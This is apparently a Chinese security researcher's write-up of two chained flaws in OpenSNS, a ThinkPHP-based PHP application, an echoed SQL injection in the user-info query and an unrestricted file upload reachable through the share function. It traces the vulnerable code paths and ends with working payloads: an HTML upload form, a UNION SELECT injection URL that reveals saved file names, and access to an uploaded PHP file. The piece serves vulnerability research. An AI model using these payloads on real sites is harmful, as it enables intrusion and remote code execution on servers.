PHP…

0x01

SQL注入&任意文件上传(利用注入获得文件路径)

漏洞分析

SQL注入

漏洞出现在/Application/Ucenter/Controller/IndexController.class.php的information函数

1
2
3
4
5
6
7
8
9
//调用API获取基本信息
//TODO tox 获取省市区数据
$user = query_user(array('nickname', 'signature', 'email', 'mobile', 'rank_link', 'sex', 'pos_province', 'pos_city', 'pos_district', 'pos_community'), $uid);
if ($user['pos_province'] != 0) {
$user['pos_province'] = D('district')->where(array('id' => $user['pos_province']))->getField('name');
$user['pos_city'] = D('district')->where(array('id' => $user['pos_city']))->getField('name');
$user['pos_district'] = D('district')->where(array('id' => $user['pos_district']))->getField('name');
$user['pos_community'] = D('district')->where(array('id' => $user['pos_community']))->getField('name');
}

可以看到有个查询用户的函数query_user,跟到这个函数
在/Application/Common/Model/UserModel.class.php

1
2
3
4
5
6
7
8
9
10
11
12
function query_user($pFields = null, $uid = 0)
{
$user_data = array();//用户数据
$fields = $this->getFields($pFields);//需要检索的字段
$uid = (intval($uid) != 0 ? $uid : get_uid());//用户UID
//获取缓存过的字段,尽可能在此处命中全部数据

list($cacheResult, $fields) = $this->getCachedFields($fields, $uid);
$user_data = $cacheResult;//用缓存初始用户数据
//从数据库获取需要检索的数据,消耗较大,尽可能在此代码之前就命中全部数据
list($user_data, $fields) = $this->getNeedQueryData($user_data, $fields, $uid);
...

这个\$uid的赋值有些问题,它验证传过来的\$uid是否intval($uid)为0,但是获取的uid并没有被intval,所以这个地方不会被过滤,接着\$uid进入到了getNeedQueryData函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
private function getNeedQueryData($user_data, $fields, $uid)
{
$need_query = array_intersect($this->table_fields, $fields);
//如果有需要检索的数据
if (!empty($need_query)) {
$db_prefix=C('DB_PREFIX');
$query_results = D('')->query('select ' . implode(',', $need_query) . " from `{$db_prefix}member`,`{$db_prefix}ucenter_member` where uid=id and uid={$uid} limit 1");
$query_result = $query_results[0];
$user_data = $this->combineUserData($user_data, $query_result);
$fields = $this->popGotFields($fields, $need_query);
$this->writeCache($uid, $query_result);
}
return array($user_data, $fields);
}

可以看到\$uid直接进入了查询,而且这个注入可回显.


任意文件上传

漏洞出现在/Application/Weibo/Controller/ShareController.class.php的doSenedShare函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public function doSendShare(){
$aContent = I('post.content','','text');
$aQuery = I('post.query','','text');
parse_str($aQuery,$feed_data);

if(empty($aContent)){
$this->error(L('_ERROR_CONTENT_CANNOT_EMPTY_'));
}
if(!is_login()){
$this->error(L('_ERROR_SHARE_PLEASE_FIRST_LOGIN_'));
}

$new_id = send_weibo($aContent, 'share', $feed_data,$feed_data['from']);

$user = query_user(array('nickname'), is_login());
$info = D('Weibo/Share')->getInfo($feed_data);
$toUid = $info['uid'];
D('Common/Message')->sendMessage($toUid, L('_PROMPT_SHARE_'),$user['nickname'] . L('_SHARE_CONTENT_SHARED_').L('_EXCLAMATION_'), 'Weibo/Index/weiboDetail', array('id' => $new_id), is_login(), 1);


$result['url'] ='';
//返回成功结果
$result['status'] = 1;
$result['info'] = L('_SUCCESS_SHARE_').L('_EXCLAMATION_') . cookie('score_tip');;
$this->ajaxReturn($result);

\$aConten和\$aQuery都是通过POST方式传递过来的,然后\$aQuery进入了parse_str函数之后进入了数组\$feed_data中,接着\$feed_data进入了getInfo函数
在/Application/Weibo/Model/ShareModel.class.php

1
2
3
4
5
6
7
8
public function getInfo($param)
{
$info = array();
if(!empty($param['app']) && !empty($param['model']) && !empty($param['method'])){
$info = D($param['app'].'/'.$param['model'])->$param['method']($param['id']);
}
return $info;
}

可以看出所有进入D函数的参数都是可控的,D函数是ThinkPHP中一个实例化类的函数
在/ThinkPHP/Common/functions.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
function D($name = '', $layer = '')
{
if (empty($name)) return new Think\Model;
static $_model = array();
$layer = $layer ? : C('DEFAULT_M_LAYER');
if (isset($_model[$name . $layer]))
return $_model[$name . $layer];
$class = parse_res_name($name, $layer);
if (class_exists($class)) {
$model = new $class(basename($name));
} elseif (false === strpos($name, '/')) {
// 自动加载公共模块下面的模型
if (!C('APP_USE_NAMESPACE')) {
import('Common/' . $layer . '/' . $class);
} else {
$class = '\\Common\\' . $layer . '\\' . $name . $layer;
}
$model = class_exists($class) ? new $class($name) : new Think\Model($name);
} else {
\Think\Log::record('D方法实例化没找到模型类' . $class, Think\Log::NOTICE);
$model = new Think\Model(basename($name));
}
$_model[$name . $layer] = $model;
return $model;
}

可控的只有\$name,而另外一个\$layer如果为空的话,就是C(‘DEFAULT_M_LAYER’),C函数也是ThinkPHP的内置的方法,用于设置、获取、以及保存配置参数的方法,那么’DEFAULT_M_LAYER’的值是多少呢?
在/ThinkPHP/Conf/convention.php

1
'DEFAULT_M_LAYER'       =>  'Model', // 默认的模型层名称

所以\$layper的值就是Modle,这样就能去实例化一个xxxxModle的类(xxxx 是可控的输入)
然后回到getInfo,接下来就可以调用它的一个方法,而且可以控制该方法的第一个参数

1
$info = D($param['app'].'/'.$param['model'])->$param['method']($param['id']);

接下来就去寻找可以利用的可实例化的类,寻找到一个文件模型类
在/Application/Home/Model/FileModel.class.php,其中有一个文件上传的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public function upload($files, $setting, $driver = 'Local', $config = null){
/* 上传文件 */
$setting['callback'] = array($this, 'isFile');
$Upload = new \Think\Upload($setting, $driver, $config);
$info = $Upload->upload($files);

/* 设置文件保存位置 */
$this->_auto[] = array('location', 'Ftp' === $driver ? 1 : 0, self::MODEL_INSERT);

if($info){ //文件上传成功,记录文件信息
foreach ($info as $key => &$value) {
/* 已经存在文件记录 */
if(isset($value['id']) && is_numeric($value['id'])){
continue;
}

/* 记录文件信息 */
if($this->create($value) && ($id = $this->add())){
$value['id'] = $id;
} else {
//TODO: 文件上传成功,但是记录文件信息失败,需记录日志
unset($info[$key]);
}
}
return $info; //文件上传成功
} else {
$this->error = $Upload->getError();
return false;
}
}

可控的参数就是$files,这里的驱动选择的是’Local’,说明文件会被存储在本地,第二行实例化了Upload类,第三行调用了其中的upload方法
在/ThinkPHP/Library/Think/Upload.class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
public function upload($files = '')
{
if ('' === $files) {
$files = $_FILES;
}

if (empty($files)) {
$this->error = '没有上传的文件!';
return false;
}

/* 检测上传根目录 */
if (!$this->uploader->checkRootPath()) {
$this->error = $this->uploader->getError();
return false;
}

/* 检查上传目录 */
if (!$this->uploader->checkSavePath($this->savePath)) {
$this->error = $this->uploader->getError();
return false;
}

/* 逐个检测并上传文件 */
$info = array();
if (function_exists('finfo_open')) {
$finfo = finfo_open(FILEINFO_MIME_TYPE);
}
// 对上传文件数组信息处理
$files = $this->dealFiles($files);

foreach ($files as $key => $file) {
if (!isset($file['key'])) $file['key'] = $key;
/* 通过扩展获取文件类型,可解决FLASH上传$FILES数组返回文件类型错误的问题 */
if (isset($finfo)) {
$file['type'] = finfo_file($finfo, $file['tmp_name']);
}

/* 获取上传文件后缀,允许上传无后缀文件 */
$file['ext'] = pathinfo($file['name'], PATHINFO_EXTENSION);

/* 文件上传检测 */
if (!$this->check($file)) {
continue;
}

/* 获取文件hash */
if ($this->hash) {
$file['md5'] = md5_file($file['tmp_name']);
$file['sha1'] = sha1_file($file['tmp_name']);
}

/* 调用回调函数检测文件是否存在 */
$data = call_user_func($this->callback, $file);


if ($this->callback && $data) {
$drconfig = $this->driverConfig;
$fname = str_replace('http://' . $drconfig['domain'] . '/', '', $data['url']);

if (file_exists('.' . $data['path'])) {
$info[$key] = $data;
continue;
} elseif ($this->uploader->info($fname)) {
$info[$key] = $data;
continue;
} elseif ($this->removeTrash) {
call_user_func($this->removeTrash, $data); //删除垃圾据
}
}

/* 生成保存文件名 */
$savename = $this->getSaveName($file);
if (false == $savename) {
continue;
} else {
$file['savename'] = $savename;
//$file['name'] = $savename;
}

/* 检测并创建子目录 */
$subpath = $this->getSubPath($file['name']);
if (false === $subpath) {
continue;
} else {
$file['savepath'] = $this->savePath . $subpath;
}

/* 对图像文件进行严格检测 */
$ext = strtolower($file['ext']);
if (in_array($ext, array('gif', 'jpg', 'jpeg', 'bmp', 'png', 'swf'))) {
$imginfo = getimagesize($file['tmp_name']);
if (empty($imginfo) || ($ext == 'gif' && empty($imginfo['bits']))) {
$this->error = '非法图像文件!';
continue;
}
}

$file['rootPath'] = $this->config['rootPath'];
$name = get_addon_class($this->driver);
if (class_exists($name)) {
$class = new $name();
if (method_exists($class, 'uploadDealFile')) {
$class->uploadDealFile($file);
}
}

/* 保存文件 并记录保存成功的文件 */
if ($this->uploader->save($file, $this->replace)) {
unset($file['error'], $file['tmp_name']);
$info[$key] = $file;
} else {
$this->error = $this->uploader->getError();
}
}
if (isset($finfo)) {
finfo_close($finfo);
}

return empty($info) ? false : $info;
}

这个函数主要就是对上传的文件进行了一系列的操作,是ThinkPHP的内置函数

1
2
3
4
/* 文件上传检测 */
if (!$this->check($file)) {
continue;
}

这里对文件上传进行了检测,跟到check函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
private function check($file)
{
/* 文件上传失败,捕获错误代码 */
if ($file['error']) {
$this->error($file['error']);
return false;
}

/* 无效上传 */
if (empty($file['name'])) {
$this->error = '未知上传错误!';
}

/* 检查是否合法上传 */
if (!is_uploaded_file($file['tmp_name'])) {
$this->error = '非法上传文件!';
return false;
}

/* 检查文件大小 */
if (!$this->checkSize($file['size'])) {
$this->error = '上传文件大小不符!';
return false;
}

/* 检查文件Mime类型 */
//TODO:FLASH上传的文件获取到的mime类型都为application/octet-stream
if (!$this->checkMime($file['type'])) {
$this->error = '上传文件MIME类型不允许!';
return false;
}

/* 检查文件后缀 */
if (!$this->checkExt($file['ext'])) {
$this->error = '上传文件后缀不允许';
return false;
}

/* 通过检测 */
return true;
}

检查Mime类型调用了checkMime函数

1
2
3
4
private function checkMime($mime)
{
return empty($this->config['mimes']) ? true : in_array(strtolower($mime), $this->mimes);
}

$\config在Upload类的开头已经被定义,在而由于\$this->config[‘mimes’]的值是一个空数组,所以直接返回true,检查后缀的时候调用可checkExt函数

1
2
3
4
private function checkExt($ext)
{
return empty($this->config['exts']) ? true : in_array(strtolower($ext), $this->exts);
}

然而\$this->config[‘exts’]也是一个空数组,所以这里上传的文件后缀没有限定,这样就造成了一个任意文件上传的漏洞.

接下来的问题是上传的文件的路径以及文件名是什么
看到保存文件的操作

1
2
3
4
5
6
7
/* 保存文件 并记录保存成功的文件 */
if ($this->uploader->save($file, $this->replace)) {
unset($file['error'], $file['tmp_name']);
$info[$key] = $file;
} else {
$this->error = $this->uploader->getError();
}

跟到save函数

1
2
public function save($file, $replace=true) {
$filename = $this->rootPath . $file['savepath'] . $file['savename'];

可以看出路径的是由\$this->rootPath、\$file[‘savepath’]、$file[‘savename’]三个参数拼接而成,在Upload.class.php中的upload函数都有定义

1
$file['rootPath'] = $this->config['rootPath'];

1
2
3
4
5
6
$subpath = $this->getSubPath($file['name']);
if (false === $subpath) {
continue;
} else {
$file['savepath'] = $this->savePath . $subpath;
}
1
2
3
4
5
6
7
$savename = $this->getSaveName($file);
if (false == $savename) {
continue;
} else {
$file['savename'] = $savename;
//$file['name'] = $savename;
}

首先是\$this->rootPath

1
'rootPath' => './Uploads/'

接着跟到getSubpath函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
private function getSubPath($filename)
{
$subpath = '';
$rule = $this->subName;
if ($this->autoSub && !empty($rule)) {
$subpath = $this->getName($rule, $filename) . '/';

if (!empty($subpath) && !$this->uploader->mkdir($this->savePath . $subpath)) {
$this->error = $this->uploader->getError();
return false;
}
}
return $subpath;
}

这里有一个\$this->subName,还有getName函数

1
'subName' => array('date', 'Y-m-d')

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
private function getName($rule, $filename)
{
$name = '';
if (is_array($rule)) { //数组规则
$func = $rule[0];
$param = (array)$rule[1];
foreach ($param as &$value) {
$value = str_replace('__FILE__', $filename, $value);
}
$name = call_user_func_array($func, $param);
} elseif (is_string($rule)) { //字符串规则
if (function_exists($rule)) {
$name = call_user_func($rule);
} else {
$name = $rule;
}
}
return $name;
}

其中有个回调函数,返回的是date函数参数是Y-m-d的结果,也就是\$subpath的值是”date(‘Y-m-d’)/“
最后一个是getSaveName函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
private function getSaveName($file)
{
$rule = $this->saveName;
if (empty($rule)) { //保持文件名不变
/* 解决pathinfo中文文件名BUG */
$filename = substr(pathinfo("_{$file['name']}", PATHINFO_FILENAME), 1);
$savename = $filename;
} else {
$savename = $this->getName($rule, $file['name']);
if (empty($savename)) {
$this->error = '文件命名规则错误!';
return false;
}
}

/* 文件保存后缀,支持强制更改文件后缀 */
$ext = empty($this->config['saveExt']) ? $file['ext'] : $this->saveExt;

return $savename . '.' . $ext;
}

其中的\$this->saveName

1
'saveName' => array('uniqid', '')

相当与\$savename的值是uniqid函数参数是$file[‘name’]的结果,然而uniqid函数的作用是生成一个唯一ID,而且是基于当前时间微秒数的唯一ID,所以没有办法确定保存后的文件名
回到FileModel.php的upload函数,后续操作是向数据库记录文件的信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if($info){ //文件上传成功,记录文件信息
foreach ($info as $key => &$value) {
/* 已经存在文件记录 */
if(isset($value['id']) && is_numeric($value['id'])){
continue;
}

/* 记录文件信息 */
if($this->create($value) && ($id = $this->add())){
$value['id'] = $id;
} else {
//TODO: 文件上传成功,但是记录文件信息失败,需记录日志
unset($info[$key]);
}
}
return $info; //文件上传成功

跟到add函数
在/ThinkPHP/Library/Think/Model.class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public function add($data = '', $options = array(), $replace = false)
{
if (empty($data)) {
// 没有传递数据,获取当前数据对象的值
if (!empty($this->data)) {
$data = $this->data;
// 重置数据
$this->data = array();
} else {
$this->error = L('_DATA_TYPE_INVALID_');
return false;
}
}
// 数据处理
$data = $this->_facade($data);
// 分析表达式
$options = $this->_parseOptions($options);
if (false === $this->_before_insert($data, $options)) {
return false;
}
// 写入数据到数据库
$result = $this->db->insert($data, $options, $replace);

跟到insert函数
在/ThinkPHP/Library/Think/Db.class.php

1
$sql   =  ($replace?'REPLACE':'INSERT').' INTO '.$this->parseTable($options['table']).' ('.implode(',', $fields).') VALUES ('.implode(',', $values).')';

可以看到数据表就是\$options[‘table’],回到add函数,跟到_parseOptions函数
在/ThinkPHP/Library/Think/Model.class.php

1
2
3
4
5
6
7
8
if (!isset($options['table'])) {
// 自动获取表名
$options['table'] = $this->getTableName();
$fields = $this->fields;
} else {
// 指定数据表 则重新获取字段列表 但不支持类型检测
$fields = $this->getDbFields();
}

跟到getTableName函数
在/ThinkPHP/Library/Think/Model.class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
public function getTableName()
{
if (empty($this->trueTableName)) {
$tableName = !empty($this->tablePrefix) ? $this->tablePrefix : '';
if (!empty($this->tableName)) {
$tableName .= $this->tableName;
} else {
$tableName .= parse_name($this->name);
}
$this->trueTableName = strtolower($tableName);
}
return (!empty($this->dbName) ? $this->dbName . '.' : '') . $this->trueTableName;
}

寻找\$this->tablePrefix、\$this->name,都在Model.class.php的构造函数中

1
2
3
4
5
6
7
if (is_null($tablePrefix)) { // 前缀为Null表示没有前缀
$this->tablePrefix = '';
} elseif ('' != $tablePrefix) {
$this->tablePrefix = $tablePrefix;
} elseif (!isset($this->tablePrefix)) {
$this->tablePrefix = C('DB_PREFIX');
}

1
2
3
4
5
6
7
8
9
if (!empty($name)) {
if (strpos($name, '.')) { // 支持 数据库名.模型名的 定义
list($this->dbName, $this->name) = explode('.', $name);
} else {
$this->name = $name;
}
} elseif (empty($this->name)) {
$this->name = $this->getModelName();
}

最开始的\$this->tablePrefix为’’,所以最后的值就是C(‘DB_PREFIX’)

1
'DB_PREFIX' => 'ocenter_'

跟到getModelName函数
在/ThinkPHP/Library/Think/Model.class.php

1
2
3
4
5
6
7
8
9
10
11
12
public function getModelName()
{
if (empty($this->name)) {
$name = substr(get_class($this), 0, -strlen(C('DEFAULT_M_LAYER')));
if ($pos = strrpos($name, '\\')) { //有命名空间
$this->name = substr($name, $pos + 1);
} else {
$this->name = $name;
}
}
return $this->name;
}

get_class(\$this)的返回值是FileModel,C(‘DEFAULT_M_LAYER’)的返回值是Model,最后\$this->name的值就是File
最后在getTableName中得到的\$this->trueTbleName的值是ocenter_file,即$options[‘table]为ocenter_file


0x02

漏洞利用

首先注册一个账号,接着构造上传表单,再利用注入得到文件名.
表单payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<pre class="prettyprint lang-php"><html>
<body>

<form action="http://localshot:4399/opensns/index.php?s=/weibo/share/doSendShare.html" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file_img" id="file" /> <br />
<input type="text" name="content" value="123" id="1" />
<input type="text" name="query" id="2" value="app=Home&model=File&method=upload&id="/>
<input type="submit" name="submit" value="Submit" />
</form>

</body>
</html></pre>

上传成功

通过注入如获得文件路径
payload:

1
http://localhost:4399/opensns/index.php?s=/ucenter/index/information/uid/1234 union (select 1,2,(select group_concat(concat(name,savepath,savename)) from ocenter_file),4 )

访问

http://localhost:4399/opensns/uploads/2017-04-07/58e7ad5595a23.php

0x03

One’storm

文件上传利用的过程:存在post可控参数->调用D方法进行实例化->FileModel对文件上传没有做任何限制->文件的信息写入可被注入的数据库->存在上传漏洞

之前还对index.php进行过分析:
index.php
定义了几个全局变量,对四种传参方式过来的数据进行了处理,引入了./ThinkPHP/ThinkPHP.php
->
Think.php
定义了大部分的全局变量,加载/ThinkPHP/Library/Think/Think.class.php核心类,开始应用初始化
->
Think.class.php
确定了common模式,初始化了一些基本配置,最后调用/ThinkPHP/Library/App.class.php中run方法运行应用
->
App.class.php
对路由进行了相应的配置

以上的分析描述的比较简单,其实当时是为了路由规则,也确实找到了,但是不够完全…

(ง •_•)ง